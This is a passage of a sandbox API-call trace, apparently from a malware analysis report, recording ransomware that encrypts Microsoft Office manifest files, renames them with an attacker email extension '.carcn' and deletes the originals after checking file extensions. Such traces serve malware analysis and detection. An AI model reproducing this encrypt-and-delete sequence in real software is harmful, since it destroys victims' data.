nNumberOfBytesToWrite=0x4c00, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0x4c00, lpOverlapped=0x0) returned 1 [0180.437] ReadFile (in: hFile=0x2e0, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.437] WriteFile (in: hFile=0x35c, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0x13e, lpOverlapped=0x0) returned 1 [0180.437] SetEndOfFile (hFile=0x35c) returned 1 [0180.437] CloseHandle (hObject=0x35c) returned 1 [0180.438] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.438] SetEndOfFile (hFile=0x2e0) returned 1 [0180.439] CloseHandle (hObject=0x2e0) returned 1 [0180.439] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0180.440] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml")) returned 1 [0180.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0180.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0180.440] lstrlenW (lpString=".doc") returned 4 [0180.440] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0180.440] lstrlenW (lpString=".docx") returned 5 [0180.440] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0180.440] lstrlenW (lpString=".pdf") returned 4 [0180.440] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0180.440] lstrlenW (lpString=".xls") returned 4 [0180.440] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0180.440] lstrlenW (lpString=".xlsx") returned 5 [0180.440] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0180.440] lstrlenW (lpString=".ppt") returned 4 [0180.440] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0180.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0180.440] lstrlenW (lpString=".zip") returned 4 [0180.440] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0180.440] lstrlenW (lpString=".rar") returned 4 [0180.440] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0180.441] lstrlenW (lpString=".bz2") returned 4 [0180.441] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0180.441] lstrlenW (lpString=".7z") returned 3 [0180.441] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0180.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0180.441] lstrlenW (lpString=".dbf") returned 4 [0180.441] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0180.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0180.441] lstrlenW (lpString=".1cd") returned 4 [0180.441] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0180.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0180.441] lstrlenW (lpString=".jpg") returned 4 [0180.441] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0180.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0180.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0180.441] lstrlenW (lpString=".doc") returned 4 [0180.441] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0180.441] lstrlenW (lpString=".docx") returned 5 [0180.441] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0180.441] lstrlenW (lpString=".pdf") returned 4 [0180.441] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0180.441] lstrlenW (lpString=".xls") returned 4 [0180.441] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0180.441] lstrlenW (lpString=".xlsx") returned 5 [0180.441] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0180.441] lstrlenW (lpString=".ppt") returned 4 [0180.441] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0180.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0180.441] lstrlenW (lpString=".zip") returned 4 [0180.441] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0180.441] lstrlenW (lpString=".rar") returned 4 [0180.442] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0180.442] lstrlenW (lpString=".bz2") returned 4 [0180.442] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0180.442] lstrlenW (lpString=".7z") returned 3 [0180.442] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0180.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0180.442] lstrlenW (lpString=".dbf") returned 4 [0180.442] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0180.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0180.442] lstrlenW (lpString=".1cd") returned 4 [0180.442] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0180.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0180.442] lstrlenW (lpString=".jpg") returned 4 [0180.442] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0180.442] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0180.442] lstrlenW (lpString="AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 53 [0180.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0180.442] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=1261) returned 1 [0180.442] CloseHandle (hObject=0x2e0) returned 1 [0180.443] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml")) returned 0x220 [0180.443] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0180.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0180.443] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.443] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0180.443] GetLastError () returned 0x0 [0180.443] ReadFile (in: hFile=0x2e0, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0180.483] WriteFile (in: hFile=0x35c, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0180.484] ReadFile (in: hFile=0x2e0, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.484] WriteFile (in: hFile=0x35c, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0x13e, lpOverlapped=0x0) returned 1 [0180.484] SetEndOfFile (hFile=0x35c) returned 1 [0180.484] CloseHandle (hObject=0x35c) returned 1 [0180.485] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.485] SetEndOfFile (hFile=0x2e0) returned 1 [0180.486] CloseHandle (hObject=0x2e0) returned 1 [0180.486] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0180.486] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml")) returned 1 [0180.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0180.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0180.487] lstrlenW (lpString=".doc") returned 4 [0180.487] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0180.487] lstrlenW (lpString=".docx") returned 5 [0180.487] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0180.487] lstrlenW (lpString=".pdf") returned 4 [0180.487] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0180.487] lstrlenW (lpString=".xls") returned 4 [0180.487] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0180.487] lstrlenW (lpString=".xlsx") returned 5 [0180.487] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0180.487] lstrlenW (lpString=".ppt") returned 4 [0180.487] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0180.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0180.487] lstrlenW (lpString=".zip") returned 4 [0180.487] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0180.487] lstrlenW (lpString=".rar") returned 4 [0180.487] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0180.487] lstrlenW (lpString=".bz2") returned 4 [0180.487] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0180.487] lstrlenW (lpString=".7z") returned 3 [0180.487] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0180.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0180.487] lstrlenW (lpString=".dbf") returned 4 [0180.487] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0180.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0180.487] lstrlenW (lpString=".1cd") returned 4 [0180.487] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0180.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0180.487] lstrlenW (lpString=".jpg") returned 4 [0180.487] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0180.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0180.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0180.488] lstrlenW (lpString=".doc") returned 4 [0180.488] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0180.488] lstrlenW (lpString=".docx") returned 5 [0180.488] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0180.488] lstrlenW (lpString=".pdf") returned 4 [0180.488] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0180.488] lstrlenW (lpString=".xls") returned 4 [0180.488] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0180.488] lstrlenW (lpString=".xlsx") returned 5 [0180.488] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0180.488] lstrlenW (lpString=".ppt") returned 4 [0180.488] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0180.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0180.488] lstrlenW (lpString=".zip") returned 4 [0180.488] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0180.488] lstrlenW (lpString=".rar") returned 4 [0180.488] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0180.488] lstrlenW (lpString=".bz2") returned 4 [0180.488] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0180.488] lstrlenW (lpString=".7z") returned 3 [0180.488] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0180.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0180.488] lstrlenW (lpString=".dbf") returned 4 [0180.488] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0180.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0180.488] lstrlenW (lpString=".1cd") returned 4 [0180.488] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0180.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0180.488] lstrlenW (lpString=".jpg") returned 4 [0180.489] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0180.489] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0180.489] lstrlenW (lpString="AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 53 [0180.489] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0180.489] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=1261) returned 1 [0180.489] CloseHandle (hObject=0x2e0) returned 1 [0180.489] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml")) returned 0x220 [0180.489] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0180.489] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0180.489] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.489] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.489] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0180.490] GetLastError () returned 0x0 [0180.490] ReadFile (in: hFile=0x2e0, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0180.517] WriteFile (in: hFile=0x35c, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0180.518] ReadFile (in: hFile=0x2e0, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.518] WriteFile (in: hFile=0x35c, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0x13e, lpOverlapped=0x0) returned 1 [0180.518] SetEndOfFile (hFile=0x35c) returned 1 [0180.518] CloseHandle (hObject=0x35c) returned 1 [0180.519] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.519] SetEndOfFile (hFile=0x2e0) returned 1 [0180.520] CloseHandle (hObject=0x2e0) returned 1 [0180.520] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0180.520] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml")) returned 1 [0180.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0180.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0180.521] lstrlenW (lpString=".doc") returned 4 [0180.521] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0180.521] lstrlenW (lpString=".docx") returned 5 [0180.521] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0180.521] lstrlenW (lpString=".pdf") returned 4 [0180.521] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0180.521] lstrlenW (lpString=".xls") returned 4 [0180.521] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0180.521] lstrlenW (lpString=".xlsx") returned 5 [0180.521] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0180.521] lstrlenW (lpString=".ppt") returned 4 [0180.521] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0180.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0180.521] lstrlenW (lpString=".zip") returned 4 [0180.521] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0180.521] lstrlenW (lpString=".rar") returned 4 [0180.521] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0180.521] lstrlenW (lpString=".bz2") returned 4 [0180.521] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0180.521] lstrlenW (lpString=".7z") returned 3 [0180.521] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0180.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0180.521] lstrlenW (lpString=".dbf") returned 4 [0180.521] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0180.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0180.521] lstrlenW (lpString=".1cd") returned 4 [0180.521] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0180.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0180.522] lstrlenW (lpString=".jpg") returned 4 [0180.522] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0180.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0180.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0180.522] lstrlenW (lpString=".doc") returned 4 [0180.522] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0180.522] lstrlenW (lpString=".docx") returned 5 [0180.522] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0180.522] lstrlenW (lpString=".pdf") returned 4 [0180.522] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0180.522] lstrlenW (lpString=".xls") returned 4 [0180.522] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0180.522] lstrlenW (lpString=".xlsx") returned 5 [0180.522] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0180.522] lstrlenW (lpString=".ppt") returned 4 [0180.522] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0180.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0180.522] lstrlenW (lpString=".zip") returned 4 [0180.522] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0180.522] lstrlenW (lpString=".rar") returned 4 [0180.522] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0180.522] lstrlenW (lpString=".bz2") returned 4 [0180.522] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0180.522] lstrlenW (lpString=".7z") returned 3 [0180.522] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0180.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0180.522] lstrlenW (lpString=".dbf") returned 4 [0180.522] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0180.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0180.522] lstrlenW (lpString=".1cd") returned 4 [0180.522] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0180.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0180.522] lstrlenW (lpString=".jpg") returned 4 [0180.523] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0180.523] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0180.523] lstrlenW (lpString="AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 53 [0180.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0180.523] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=2147) returned 1 [0180.523] CloseHandle (hObject=0x2e0) returned 1 [0180.523] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml")) returned 0x220 [0180.523] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0180.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, 